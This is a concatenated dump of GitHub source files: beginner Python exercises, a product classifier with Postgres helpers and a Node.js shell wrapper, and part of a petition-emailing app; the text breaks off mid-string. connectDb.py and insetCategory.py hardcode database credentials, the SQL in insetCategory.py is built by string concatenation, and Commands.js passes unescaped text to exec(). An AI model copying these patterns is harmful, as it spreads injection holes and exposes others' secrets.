"is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 169, "license_type": "no_license", "max_line_length": 102, "num_lines": 6, "path": "/codingggggg.py", "repo_name": "Rujabhatta22/pythonProject10", "src_encoding": "UTF-8", "text": "#the python code below calculates the multiplication of 3 up to 10. Rewrite the code using recurision.\ni=1\nnum=3\nwhile i <=10:\n print(num, '*', i, '=',(3*1))\n i+=1" }, { "alpha_fraction": 0.5873016119003296, "alphanum_fraction": 0.6428571343421936, "avg_line_length": 24.399999618530273, "blob_id": "31f3dbf2ad6a023783a474db3f15825525a50eb3", "content_id": "d46abd05f845f71b2b0e3bc10e49b2168e2c8c4f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 126, "license_type": "no_license", "max_line_length": 33, "num_lines": 5, "path": "/venv/classroom.py", "repo_name": "Rujabhatta22/pythonProject10", "src_encoding": "UTF-8", "text": "time=int(input('enter the time'))\nif time>0 and time<12:\n print('it is am')\nelif time>12 and time<24:\n print('it is pm')" }, { "alpha_fraction": 0.6262626051902771, "alphanum_fraction": 0.6414141654968262, "avg_line_length": 21, "blob_id": "931eaa4a3251cd2219b20bb6b491262650af5ebd", "content_id": "b091d54e07ac6313b5e29f9871a5df94665fd85c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 198, "license_type": "no_license", "max_line_length": 47, "num_lines": 9, "path": "/while guess.py", "repo_name": "Rujabhatta22/pythonProject10", "src_encoding": "UTF-8", "text": "import random\nnumber=random.randint(1,10)\n\nwhile True:\n guess=int(input('please guess the number'))\n if guess==number:\n print('la badhai cha')\n break\n print('uffs try again')\n" }, { "alpha_fraction": 0.621004581451416, "alphanum_fraction": 0.621004581451416, "avg_line_length": 18.81818199157715, "blob_id": "d6aa388d6a317d97260d17bc706ba9af3e0a061b", "content_id": "0a9ed07304a42ba577860ca70193ee5ef70936dc", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 219, "license_type": "no_license", "max_line_length": 40, "num_lines": 11, "path": "/fghj.py", "repo_name": "Rujabhatta22/pythonProject10", "src_encoding": "UTF-8", "text": "\ndef add():\n\n a=int(input(\"enter first number:\"))\n b=int(input(\"enter second number:\"))\n c=a+b\n print(c)\n print('function end')\nprint('main start')\nprint('function is calling')\nadd()\nprint('program end')\n" }, { "alpha_fraction": 0.5739436745643616, "alphanum_fraction": 0.5985915660858154, "avg_line_length": 16.8125, "blob_id": "7fbe8f0481864f6dedd556e61f929052f8a0d1d1", "content_id": "2711635c1c18a72620dc1c31f2d03ab7b8b3e34a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 284, "license_type": "no_license", "max_line_length": 34, "num_lines": 16, "path": "/days.py", "repo_name": "Rujabhatta22/pythonProject10", "src_encoding": "UTF-8", "text": "num=int(input('enter the number'))\nif num==1:\n print('sunday')\nif num==2:\n print('monday')\nif num==3:\n print('tuesday')\nif num==4:\n print('wednesday')\nif num==5:\n print('thursday')\nif num==6:\n print('friday')\nif num==7:\n print('saturday')\nprint('program is over')" }, { "alpha_fraction": 0.5701754093170166, "alphanum_fraction": 0.6228070259094238, "avg_line_length": 15.428571701049805, "blob_id": "5b0bb0c2943208797be8d74c1865ab50af4639e9", "content_id": "0d4e5829156e46351bb6a186f8da933e821036b1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 114, "license_type": "no_license", "max_line_length": 37, "num_lines": 7, "path": "/ghdjggsfhFYHIWEFHGDUIAL.py", "repo_name": "Rujabhatta22/pythonProject10", "src_encoding": "UTF-8", "text": "num = int(input(\"enter the number:\"))\nsum=0\nwhile num>0:\n rem=num%10\n sum=sum+rem\n num=num//10\nprint(sum)" }, { "alpha_fraction": 0.6719817519187927, "alphanum_fraction": 0.7038724422454834, "avg_line_length": 53.875, "blob_id": "c57b2f5093e8b73b55ae7bb772d885e38df1c35c", "content_id": "0584c6c184bb3bf9859e4be2b3b7b38283055c95", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 439, "license_type": "no_license", "max_line_length": 276, "num_lines": 8, "path": "/programmmm.py", "repo_name": "Rujabhatta22/pythonProject10", "src_encoding": "UTF-8", "text": "#write a program to take a input from the user, ask the users age. if the age is below 15. print a message \"you are a child.\" if the users age is greater then 50 and lesser then 40 print the message \"you are adult.\" if the users age greater than print a message \"you are old.\"\nage=int(input(\"enter the age\"))\nif age<15:\n print(\"you are a child\")\nelif age>15 and age<=40:\n print(\"you are adult\")\nelif age>40:\n print(\"you are old\")\n" }, { "alpha_fraction": 0.607272744178772, "alphanum_fraction": 0.6327272653579712, "avg_line_length": 20.230770111083984, "blob_id": "009e5140dd250594910b5d303f3d00287d55dd14", "content_id": "884a4433dce138f5a4ea7ec8a9c4a29b4c8591a9", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 275, "license_type": "no_license", "max_line_length": 73, "num_lines": 13, "path": "/gdhjsshgdvg.py", "repo_name": "Rujabhatta22/pythonProject10", "src_encoding": "UTF-8", "text": "#write a program to check a number given by the user is armstrong or not.\nnum=int(input(\"enter the number:\"))\nt= num\nsum=0\nwhile num>0:\n rem = num % 10\n sum = sum + rem**3\n num = num // 10\nprint(sum)\nif sum==t:\n print('armstrong')\nelse:\n print('not armstrong')" } ]
15
nuwanarti/product-classifier
https://github.com/nuwanarti/product-classifier
25c430faa559ce1f23110468b82a0012616acaa0
9e5e7747803eeb6e6ebc690ba51a0648f2448213
27ef2f18158498bab666b1c6082bc0da4d6dc996
refs/heads/master
2022-07-22T12:04:33.462255
2020-03-22T10:15:45
2020-03-22T10:15:45
249,157,727
0
0
MIT
2020-03-22T10:15:20
2020-03-22T10:16:01
2022-06-22T01:31:46
Python
[ { "alpha_fraction": 0.6002024412155151, "alphanum_fraction": 0.6032388806343079, "avg_line_length": 33.068965911865234, "blob_id": "cf0bb406e63cfe8d3a2ab5217c00104eee9fc5a4", "content_id": "8cfc0bb7a246addf265593e2595d692ebcb89689", "detected_licenses": [ "MIT", "CC-BY-4.0", "CC-BY-SA-2.0" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 988, "license_type": "permissive", "max_line_length": 108, "num_lines": 29, "path": "/bin/writeCSV.py", "repo_name": "nuwanarti/product-classifier", "src_encoding": "UTF-8", "text": "import csv\n\n\ndef getDescription(uri):\n # with open('bin/productDescription.csv') as csv_file:\n with open(uri) as csv_file:\n csv_reader = csv.reader(csv_file, delimiter=',')\n line_count = 0\n descriptions = []\n # print(\" length of : %d\", len(csv_reader))\n for row in csv_reader:\n descriptions.append(row[0])\n return descriptions;\n\ndef getRows(uri):\n with open(uri) as csv_file:\n csv_reader = csv.reader(csv_file, delimiter=',')\n line_count = 0\n descriptions = []\n # print(\" length of : %d\", len(csv_reader))\n for row in csv_reader:\n descriptions.append(row)\n return descriptions;\n\ndef writeToCSV(resultList):\n with open('bin/result.csv', mode='w') as employee_file:\n employee_writer = csv.writer(employee_file, delimiter=',', quotechar='\"', quoting=csv.QUOTE_MINIMAL)\n for description in resultList:\n employee_writer.writerow(description)\n" }, { "alpha_fraction": 0.699999988079071, "alphanum_fraction": 0.7087719440460205, "avg_line_length": 26.14285659790039, "blob_id": "5ffe2703836b0ec05d6b179acb17b1203190e662", "content_id": "da1c29ddae91aa40f0ef7c676840531578029730", "detected_licenses": [ "MIT", "CC-BY-4.0", "CC-BY-SA-2.0" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 570, "license_type": "permissive", "max_line_length": 99, "num_lines": 21, "path": "/connectDb.py", "repo_name": "nuwanarti/product-classifier", "src_encoding": "UTF-8", "text": "#!/usr/bin/python\n\nhostname = 'flyer-dev.c8amc4ajwlqc.us-east-1.rds.amazonaws.com'\nusername = 'prashan'\npassword = 'yellow45River'\ndatabase = 'flyer'\n\n# Simple routine to run a query on a database and print the results:\ndef doQuery( conn ) :\n cur = conn.cursor()\n \n cur.execute( \"SELECT product_id, name FROM product\" )\n \n for product_id, name in cur.fetchall() :\n print product_id, name\n\n\nimport psycopg2\nmyConnection = psycopg2.connect( host=hostname, user=username, password=password, dbname=database )\ndoQuery( myConnection )\nmyConnection.close()\n" }, { "alpha_fraction": 0.5843857526779175, "alphanum_fraction": 0.5868459939956665, "avg_line_length": 37.58860778808594, "blob_id": "c7b10ca1ac5aeb2bd2182d4dcb06e228cc9dd688", "content_id": "2ddd3010d1aa1fcccd25ee0ef524809d13bec111", "detected_licenses": [ "MIT", "CC-BY-4.0", "CC-BY-SA-2.0" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 6097, "license_type": "permissive", "max_line_length": 141, "num_lines": 158, "path": "/bin/classify.py", "repo_name": "nuwanarti/product-classifier", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\n# apparel-classify\n# Command line script to execute classification commands\n#\n# Author: Benjamin Bengfort <[email protected]>\n# Created: timestamp\n#\n# Copyright (C) 2014 Bengfort.com\n# For license information, see LICENSE.txt\n#\n# ID: apparel-classify.py [] [email protected] $\n\n\"\"\"\nCommand line script to execute classification commands.\n\nThere are two primary commands:\n\n - build (builds the model)\n - classify (classifies the input text)\n\nThese commands are dependent on configurations found in conf/apparel.yaml\n\"\"\"\n\n##########################################################################\n## Imports\n##########################################################################\n\nimport os\nimport sys\nimport argparse\n\nfrom writeCSV import getDescription\nfrom writeCSV import getRows\nfrom writeCSV import writeToCSV\n\nfrom insetCategory import insertProduct\n## Helper to add apparel to Python Path for development\nsys.path.append(os.path.join(os.path.dirname(__file__), \"..\"))\n\nimport apparel\n\nfrom apparel.config import settings\nfrom apparel.build import ClassifierBuilder\nfrom apparel.classify import ApparelClassifier\n\n##########################################################################\n## Command Constants\n##########################################################################\n\nDESCRIPTION = \"An administrative utility for classification\"\nEPILOG = \"Build and use classifiers all from one easy command\"\nVERSION = apparel.get_version()\n\n##########################################################################\n## Administrative Commands\n##########################################################################\n\ndef classify(args):\n \"\"\"\n Classifies text using a prebuilt model.\n \"\"\"\n output = []\n classifier = ApparelClassifier(args.model)\n\n for text in args.text:\n output.append('\"%s\" is classified as:' % text)\n for cls in classifier.classify(text):\n output.append(\" %s (%0.4f)\" % cls)\n output.append(\"\")\n\n if args.explain:\n for text in args.text:\n classifier.explain(text)\n print \"\\n\\n\"\n\n return \"\\n\".join(output)\n\ndef build(args):\n \"\"\"\n Build a classifier model and write to a pickle\n \"\"\"\n builder = ClassifierBuilder(corpus=args.corpus, outpath=args.outpath)\n builder.build()\n return \"Build Complete!\"\n\n##########################################################################\n## Main method\n##########################################################################\n\nif __name__ == '__main__':\n\n # Construct the main ArgumentParser\n parser = argparse.ArgumentParser(description=DESCRIPTION, epilog=EPILOG, version=VERSION)\n subparsers = parser.add_subparsers(title='commands', description='Administrative commands')\n\n # Classify Command\n classify_parser = subparsers.add_parser('classify', help='Classify text using a prebuilt model')\n classify_parser.add_argument('text', nargs='+', help='Text to classify, surrounded by quotes')\n classify_parser.add_argument('--explain', default=False, action='store_true', help='Print out an explanation of the classification')\n classify_parser.add_argument('--model', default=settings.get('model'), metavar='PATH', help='Specify the path to the pickled classifier')\n classify_parser.add_argument('--input', metavar='PATH', help='Specify the path to the pickled classifier')\n classify_parser.add_argument('--task', metavar='PATH', help='Specify the path to the pickled classifier')\n classify_parser.set_defaults(func=classify)\n # return;\n # descriptions = getDescription()\n # for description in descriptions:\n # print description\n # classify_parser.add_argument('--explain', description)\n\n\n # Build Command\n build_parser = subparsers.add_parser('build', help='Build a classifier model and write to a pickle')\n build_parser.add_argument('--corpus', default=settings.get('corpus'), type=str, help='Location of the CSV corpus to train from.')\n build_parser.add_argument('-o', '--outpath', metavar='PATH', type=str, help=\"Where to write the pickle to.\", default='fixtures/')\n build_parser.add_argument('--input', metavar='PATH', help='Specify the path to the pickled classifier')\n build_parser.add_argument('--task', metavar='PATH', help='Specify the path to the pickled classifier')\n build_parser.set_defaults(func=build)\n\n # Handle input from the command line\n args = parser.parse_args() # Parse the arguments\n print \"printing the args\"\n # print args\n if args.task == 'sendOut':\n msg = args.func(args)\n confidentLevelOne = msg.split('\\n')\n # return ;\n\n elif args.task == 'convertFromCSV':\n descriptions = getDescription(args.input)\n result = []\n for description in descriptions:\n # for i in range(5):\n # print \"descriptions is %s\", description\n # args['text'] = [description];\n args.text = [description]\n # args.text = [descriptions[i]]\n # print(args.text, ' is type of ', type(args))\n # break;\n try:\n msg = args.func(args) # Call the default function\n confidentLevelOne = msg.split('\\n')\n # print(confidentLevelOne[1].strip(), \"type of \", type(confidentLevelOne))\n result.append(confidentLevelOne)\n # print(msg)\n # parser.exit(0, msg+\"\\n\") # Exit cleanly with message\n except Exception as e:\n result.append('error occured')\n # parser.error(str(e)) # Exit with error\n writeToCSV(result)\n elif args.task == 'updateFlyerDb':\n categoriesNotAvailable = []\n csvRows = getRows(args.input)\n for row in csvRows:\n print 'description is %s ,%s ,%s' , row[0], row[1], row[2]\n value = insertProduct(row[0], row[2], row[1])\n if(value != \"none\"):\n categoriesNotAvailable.append(value)\n print 'UNAVAILABLE CATEGORIES ', categoriesNotAvailable\n" }, { "alpha_fraction": 0.6309800744056702, "alphanum_fraction": 0.636410653591156, "avg_line_length": 36.18269348144531, "blob_id": "2366f1254238504e1486dfe9a844b84df0e34ab0", "content_id": "23399914f28916e223568b967a78364b9dddc017", "detected_licenses": [ "MIT", "CC-BY-4.0", "CC-BY-SA-2.0" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3867, "license_type": "permissive", "max_line_length": 146, "num_lines": 104, "path": "/bin/insetCategory.py", "repo_name": "nuwanarti/product-classifier", "src_encoding": "UTF-8", "text": "#!/usr/bin/python\n\nhostname = 'flyer-dev.c8amc4ajwlqc.us-east-1.rds.amazonaws.com'\nusername = 'prashan'\npassword = 'yellow45River'\ndatabase = 'flyer'\n\n# Simple routine to run a query on a database and print the results:\ndef getCategoryId( conn, name, cur) :\n\n print 'came to doQuery'\n cur.execute( \"SELECT category_id FROM category WHERE name='\" + name + \"'\")\n\n for category_id in cur.fetchall() :\n return category_id[0]\n\n\nimport psycopg2\nfrom datetime import datetime\n# myConnection = psycopg2.connect( host=hostname, user=username, password=password, dbname=database )\n# doQuery( myConnection )\n# myConnection.close()\n\n\ndef hello(param) :\n\n print \"hi there , this is a call from another file \"\n\n# def getCategoryId(category):\n# conn = psycopg2.connect( host=hostname, user=username, password=password, dbname=database )\n# cur = conn.cursor()\n# doQuery(conn,'xxx')\n# print (category[0].upper() + category[1:].lower())\n# cur.execute(\"SELECT category_id FROM category WHERE name='\" + (category[0].upper() + category[1:].lower()) + \"'\")\n# for category_id in cur.fetchall() :\n# print category_id\n# conn.close()\n# return category_id\n\ndef productUpdate(categoryId, productName, cur, conn, imgUrl):\n # query = \"SELECT * FROM product where name=%s;\"\n # print 'came to doQuery'\n cur.execute( \"SELECT * FROM product WHERE name='\" + productName + \"'\")\n # print 'printing existing vavlues ', cur.fetchall()\n for name in cur.fetchall() :\n print 'printing fetched values ' , name\n return \"none\"\n # if(len(cur.fetchall()) == 0):\n print 'came to upload products '\n query = \"INSERT INTO product (category_id, name, image_url, enabled, created_at, updated_at) VALUES (%s, %s, %s, %s, %s, %s);\"\n data = (categoryId, productName, imgUrl, True, datetime.now(), datetime.now())\n\n cur.execute(query, data)\n conn.commit()\n # return category_id[0]\n #\n # query = \"INSERT INTO product (category_id, name, image_url, enabled, created_at, updated_at) VALUES (%s, %s, %s, %s, %s, %s);\"\n # data = (categoryId, productName, imgUrl, True, datetime.now(), datetime.now())\n #\n # cur.execute(query, data)\n # conn.commit()\n print 'return nothing'\n return \"none\"\n\ndef insertCategory(cur, category, conn):\n print 'came to insert category'\n query = \"INSERT INTO category (category_id, name, image_url, enabled, created_at, updated_at, parent_id) VALUES (%s, %s, %s, %s, %s, %s, %s);\"\n categoryId = category[0].upper() + category[1:].lower()\n data = (categoryId, categoryId, '', True, datetime.now(), datetime.now(), '')\n cur.execute(query, data)\n # categoryId = cur.fetchone()[0]\n # commit the changes to the database\n conn.commit()\n\ndef insertProduct(name, category, imgUrl):\n # getCategoryId('tuna')\n conn = psycopg2.connect( host=hostname, user=username, password=password, dbname=database )\n cur = conn.cursor()\n # old\n # print 'XXXXX' + category[0].upper() + category[1:].lower()\n # new\n print 'XXXX' ,category\n # return;\n # old\n # categoryId = getCategoryId(conn, category[0].upper() + category[1:].lower(), cur)\n # new\n categoryId = getCategoryId(conn, category, cur)\n print \"Category id is : %s\" %categoryId\n # return;\n if categoryId is not None:\n print 'came to update product'\n print 'categoryId %s' %categoryId\n print 'name %s' %name\n\n return productUpdate(categoryId, name, cur, conn, imgUrl)\n else:\n return category\n # print 'came to insert'\n # print 'categoryId %s' %categoryId\n # print 'name %s' %name\n # insertCategory(cur, category, conn)\n # productUpdate(categoryId, name, cur, conn)\n # if(categoryId )\n # cur.execute( \"SELECT product_id, name FROM product WHERE name='\" + 'Tuna'+ \"'\")\n" }, { "alpha_fraction": 0.5620220899581909, "alphanum_fraction": 0.5624468922615051, "avg_line_length": 31.24657440185547, "blob_id": "02c310d8944a72424e97f5ec46404fbb178cefaf", "content_id": "b87b316b9d8f9483979f126c77927adf17ee9775", "detected_licenses": [ "MIT", "CC-BY-4.0", "CC-BY-SA-2.0" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 2354, "license_type": "permissive", "max_line_length": 183, "num_lines": 73, "path": "/Commands.js", "repo_name": "nuwanarti/product-classifier", "src_encoding": "UTF-8", "text": "const exec = require('child_process').exec;\nvar fs = require('fs');\n\nvar commands = {}\ncommands.executeShell = function(arg){\n let command = 'sh /home/nuwanarti/Wifidog-node-mongodb-auth-server/server/uploadToKinesis.sh ' + arg\n exec(command,\n (error, stdout, stderr) => {\n console.log(`${JSON.stringify(stdout)}`);\n console.log(`${JSON.stringify(stderr)}`);\n if (error !== null) {\n console.log(`exec error: ${error}`);\n }\n });\n}\n\ncommands.classifyFromCSV = function(csvName, pickleName){\n let command = './bin/classify.py classify --explain \"red rice 1kg nipuna\" --model ./fixtures/' + pickleName + '.pickle' + ' --input ./uploads/' + csvName + ' --task convertFromCSV';\n exec(command,\n (error, stdout, stderr) => {\n console.log(`${JSON.stringify(stdout)}`);\n console.log(`${JSON.stringify(stderr)}`);\n if (error !== null) {\n console.log(`exec error: ${error}`);\n }\n });\n}\n\ncommands.classifyText = function(text, pickleName, callback){\n execute(\n './bin/classify.py classify --explain \"' + text + '\" --model ./fixtures/' + pickleName + '.pickle' + ' --input sendOut --task sendOut',\n function(err, out){\n callback(err, out);\n }\n )\n}\n\ncommands.updateFlyerDb = function(filename, callback){\n execute(\n './bin/classify.py classify --explain dummy --model ./fixtures/category.pickle --input ./uploads/' + filename + '.csv --task updateFlyerDb',\n function(err, out){\n callback(err, out);\n }\n )\n}\n// need to complete this method\ncommands.trainNewModel = function(inputFile, outputFile){\n execute(\n './bin/classify.py build --corpus ./uploads/' + inputFile + '.csv --outpath ./fixtures/' + outputFile + '.pickle',\n function(err, out){\n\n }\n )\n}\n\nfunction execute(command, callback){\n console.log('command ' + command);\n exec(command,\n (error, stdout, stderr) => {\n console.log(`${JSON.stringify(stdout)}`);\n console.log(`${JSON.stringify(stderr)}`);\n if (error !== null) {\n console.log(`exec error: ${error}`);\n callback(error, {});\n }else{\n callback(null, stdout);\n }\n });\n}\n\n\n\nmodule.exports = commands;\n" } ]
5
VivaLaR/petition-companies
https://github.com/VivaLaR/petition-companies
682583e99e160b4980546866793de085d2f77c81
7acd230b82cf2b98bb213d99ec9c6cf7acf1eb5d
b38b77860c2c6495a1c76c3aaf9c50c019974136
refs/heads/master
2021-01-19T10:48:20.261852
2017-02-17T03:17:13
2017-02-17T03:49:27
82,205,967
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.5733277797698975, "alphanum_fraction": 0.5745741724967957, "avg_line_length": 25.163043975830078, "blob_id": "ae43d202a03712b38ee252b3e5853a3c558bf129", "content_id": "14eb0ed93a28bcc3e7568a20df8446e0b5f1f81f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 2407, "license_type": "no_license", "max_line_length": 97, "num_lines": 92, "path": "/admin/static/advertiser.js", "repo_name": "VivaLaR/petition-companies", "src_encoding": "UTF-8", "text": "$(document).ready(function(){\n wireSaveButton();\n wireCloseButton();\n wireDeleteButton();\n\n wirePOCCreateButton();\n wirePOCDeleteButtons();\n});\n\nfunction wireCloseButton() {\n $(\"#close-advertiser\").click(function () {\n window.location.href = url_advertisers;\n });\n}\n\nfunction wireSaveButton() {\n $(\"#save-advertiser\").click(function () {\n var user_data = {};\n user_data['name'] = $(\"#advertiser-name\").html();\n user_data['pocs'] = {};\n\n $(\"tr.poc\").each(function (i, el) {\n var poc_id = $(el).attr('poc-id');\n user_data['pocs'][poc_id] = {};\n user_data['pocs'][poc_id]['name'] = $(el).find('.poc-name').html();\n user_data['pocs'][poc_id]['email'] = $(el).find('.poc-email').html();\n });\n\n console.log(user_data);\n\n $.ajax({\n type: 'POST',\n url: url_advertiser,\n data: JSON.stringify(user_data),\n contentType: \"application/json\",\n dataType: 'json',\n success: function(data, status, xhr){\n window.location.href = url_advertisers;\n },\n error: function(xhr, status, error){\n console.log(\"Error\", xhr);\n },\n });\n });\n}\n\nfunction wireDeleteButton() {\n $(\"#delete-advertiser\").click(function () {\n $.ajax({\n type: 'DELETE',\n url: url_advertiser,\n contentType: \"application/json\",\n dataType: 'json',\n success: function (data, status, xhr) {\n window.location.href = url_advertisers;\n },\n error: function (xhr, status, error) {\n console.log(\"Error\", xhr);\n },\n });\n });\n}\n\nfunction wirePOCCreateButton() {\n\n var table_row = '<tr class=\"poc\" poc-id=\"\">\\\n <td class=\"col-xs-4 poc-name\" style=\"white-space: pre-wrap\" contenteditable=\"true\"></td>\\\n <td class=\"col-xs-7 poc-email\" style=\"white-space: pre-wrap\" contenteditable=\"true\"></td>\\\n <td class=\"col-xs-1\">\\\n <button type=\"button\" class=\"btn btn-danger delete-poc\" aria-label=\"Delete\">\\\n <span class=\"glyphicon glyphicon-trash\" aria-hidden=\"true\"></span>\\\n </button>\\\n </td>\\\n </tr>'\n\n $(\"button#create-poc\").click(function () {\n $(\"tbody\").append(table_row);\n wirePOCDeleteButtons();\n })\n}\n\nfunction wirePOCDeleteButtons() {\n var buttons = $('button.delete-poc');\n\n $(buttons).off(\"click\");\n\n $(buttons).click(function (event) {\n console.log('delete');\n var tr = $(event.target).closest(\"tr\");\n $(tr).remove();\n })\n}\n" }, { "alpha_fraction": 0.6113874912261963, "alphanum_fraction": 0.6207849383354187, "avg_line_length": 24.842857360839844, "blob_id": "d30d7cc07fb01c95b2fe68bf7ff9e845d02a4229", "content_id": "920a3ba15cb2da74b15c793939c9e55e2603ae5a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1809, "license_type": "no_license", "max_line_length": 143, "num_lines": 70, "path": "/user/emails.py", "repo_name": "VivaLaR/petition-companies", "src_encoding": "UTF-8", "text": "import base64\nfrom email.mime.text import MIMEText\nfrom shared import db\n\nfrom googleapiclient.discovery import build\n\n# Python API docs: https://developers.google.com/resources/api-libraries/documentation/gmail/v1/python/latest/gmail_v1.users.messages.html#send\ngmail_service = build('gmail', 'v1')\n\n\ndef send_messages(advertisee_advertiser_dict, http, emails_dict):\n\n messages = []\n\n for eid, rids in advertisee_advertiser_dict.items():\n\n e = db.get_advertisee(int(eid))\n rids = [int(r) for r in rids]\n rs = db.get(rids, 'Advertiser')\n msg = emails_dict.get(eid)\n\n messages += [get_message(e, r, msg) for r in rs]\n\n for m in messages:\n send_email(m, http)\n\n return len(messages)\n\n\ndef get_message(advertisee, advertiser, msg=None):\n\n pocs = db.get(advertiser.pocs)\n names = _format_names([poc.name for poc in pocs])\n emails = ', '.join([poc.email for poc in pocs])\n\n if msg is None:\n msg = advertisee.email\n\n msg = msg.format(REP=names, COMPANY=advertiser.name)\n\n message = MIMEText(msg)\n message['to'] = emails\n message['subject'] = 'Stop advertising on %s' % advertisee.name\n message = {'raw': base64.urlsafe_b64encode(message.as_string())}\n\n return message\n\n\ndef _format_names(names):\n\n if not isinstance(names, str):\n\n n_names = len(names)\n\n if n_names == 0:\n names = 'Advertiser'\n elif n_names == 1:\n names = names[0]\n elif n_names == 2:\n names = names[0] + ' and ' + names[1]\n else:\n names_tmp = ', '.join(names[:-1])\n names = names_tmp + ', and ' + names[-1]\n\n return names\n\n\ndef send_email(message, http, user_id='me'):\n\n gmail_service.users().messages().send(userId=user_id, body=message).execute(http=http)\n" }, { "alpha_fraction": 0.5921807885169983, "alphanum_fraction": 0.5957675576210022, "avg_line_length": 25.30188751220703, "blob_id": "3e76478fdfc6bb984e118dead668edd05a2cf6f5", "content_id": "a38778eda1f63b765f36285269cec0d2c04f77dd", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 2788, "license_type": "no_license", "max_line_length": 98, "num_lines": 106, "path": "/user/static/index.js", "repo_name": "VivaLaR/petition-companies", "src_encoding": "UTF-8", "text": "var email_txts = {};\nvar checkbox_count = {};\n\n$(document).ready(function(){\n $(\"#email-button\").click(emailOnClick);\n wireSaveEmailButtons();\n wireCheckBoxes();\n});\n\nfunction emailOnClick() {\n\n var to_send = {};\n var advertisees = $('#advertisee-list > li');\n var advertisee, advertisers;\n var i, j;\n for (i=0; i < advertisees.length; i++) {\n advertisee = advertisees[i];\n to_send[advertisee.id] = [];\n advertisers = $(advertisee).find(\"li\");\n for (j=0; j < advertisers.length; j++) {\n if ($(advertisers[j]).find(\"input\").is(\":checked\")) {\n to_send[advertisee.id].push(advertisers[j].id)\n }\n }\n }\n\n postDataToEmail(to_send, true);\n}\n\nfunction postDataToEmail(data) {\n\n var f = document.createElement(\"form\");\n f.setAttribute('method', \"post\");\n f.setAttribute('action', url_email);\n f.setAttribute('hidden', 'true');\n\n var input;\n\n for (var eid in email_txts) {\n input = document.createElement('input');\n input.type = 'text';\n input.name = 'email_' + eid;\n input.value = email_txts[eid];\n f.appendChild(input);\n }\n\n for (var k in data) {\n input = document.createElement('input');\n input.type = 'text';\n input.name = k;\n input.value = data[k];\n f.appendChild(input);\n }\n\n $(\"body\").append(f);\n\n f.submit();\n}\n\nfunction wireSaveEmailButtons() {\n $('.email-modal').click(function (event) {\n var email_txt = $(event.target).closest('.modal-content').find('div.modal-body > div').html();\n var advertisee_id = $(event.target).closest('.modal').attr('eid');\n\n email_txts[advertisee_id] = email_txt;\n })\n}\n\nfunction wireCheckBoxes() {\n\n var top_list_str = 'ul#advertisee-list > li';\n var bottom_list_str = 'ul#advertiser-list > li > input';\n\n $(top_list_str).each(\n function (i, elem) {\n checkbox_count[elem.id] = $(elem).find(bottom_list_str + ':checked').length;\n }\n );\n\n $(top_list_str).children('input').click(function (event) {\n var elem = event.target;\n\n var top_li = $(elem).closest('li');\n\n if ($(elem).is(':checked')) {\n top_li.find(bottom_list_str + ':not(:checked)').prop('checked', true);\n checkbox_count[top_li[0].id] = top_li.find('li').length;\n } else {\n top_li.find(bottom_list_str + ':checked').prop('checked', false);\n checkbox_count[top_li[0].id] = 0;\n }\n });\n\n $(top_list_str).find(bottom_list_str).click(function (event) {\n var elem = event.target;\n var delta = ($(elem).is(':checked')) ? 1 : -1;\n var top_li = elem.closest(top_list_str);\n checkbox_count[top_li.id] += delta;\n\n if (checkbox_count[top_li.id] == 0) {\n $(top_li).children('input').prop('checked', false)\n } else if (checkbox_count[top_li.id] == 1 && delta == 1) {\n $(top_li).children('input').prop('checked', true);\n }\n })\n}\n" }, { "alpha_fraction": 0.718898355960846, "alphanum_fraction": 0.7207977175712585, "avg_line_length": 31.90625, "blob_id": "1d4df2754565ee513f9b63de71175689f84fb6aa", "content_id": "d40424b448012665a988226bf64ee508d0a5b10a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2106, "license_type": "no_license", "max_line_length": 241, "num_lines": 64, "path": "/shared/models.py", "repo_name": "VivaLaR/petition-companies", "src_encoding": "UTF-8", "text": "from google.appengine.ext import ndb\n\n\nclass Advertiser(ndb.Model):\n\n name = ndb.StringProperty('n')\n pocs = ndb.KeyProperty('p', kind='POC', repeated=True)\n\n\nclass Advertisee(ndb.Model):\n\n name = ndb.StringProperty('n')\n advertisers = ndb.KeyProperty('a', kind='Advertiser', repeated=True)\n description = ndb.StringProperty('d')\n email = ndb.StringProperty('e')\n\n\nclass POC(ndb.Model):\n\n name = ndb.StringProperty('n')\n email = ndb.StringProperty('e', required=True)\n\n\nclass UserPreference(ndb.Model):\n\n advertiser = ndb.KeyProperty(kind='Advertiser')\n advertisee = ndb.KeyProperty(kind='Advertisee')\n\n\nclass AdvertiseeDefaultMessage(ndb.Model):\n\n advertisee = ndb.KeyProperty(kind='Advertisee')\n message_ = ndb.StringProperty(default=None)\n message = ndb.ComputedProperty(lambda self: self.message_ or self.advertisee.get().email)\n\n\nclass User(ndb.Model):\n\n email = ndb.StringProperty('e')\n user_a_checks = ndb.KeyProperty(UserPreference, repeated=True)\n advertisee_descriptions = ndb.StructuredProperty(AdvertiseeDefaultMessage, repeated=True)\n\n\nif __name__ == '__main__':\n\n subject_template_breitbart = \"%s Advertising on Breitbart\"\n\n email_template_breitbart = \"\"\"\n Hey %s,\n\n I'm getting in touch with you as part of the Sleeping Giants campaign. Did you know that %s has ads appearing on Breitbart.com?\n Breitbart is widely known as a hate speech site, regularly distributing anti-Semitic, anti-Muslim, xenophobic and misogynist propaganda - and it's being propped up by ad revenues sent from companies like yours via 3rd party ad platforms.\n\n Is this something you support?\n\n If not, you can change this by contacting your ad agency and asking them to exclude 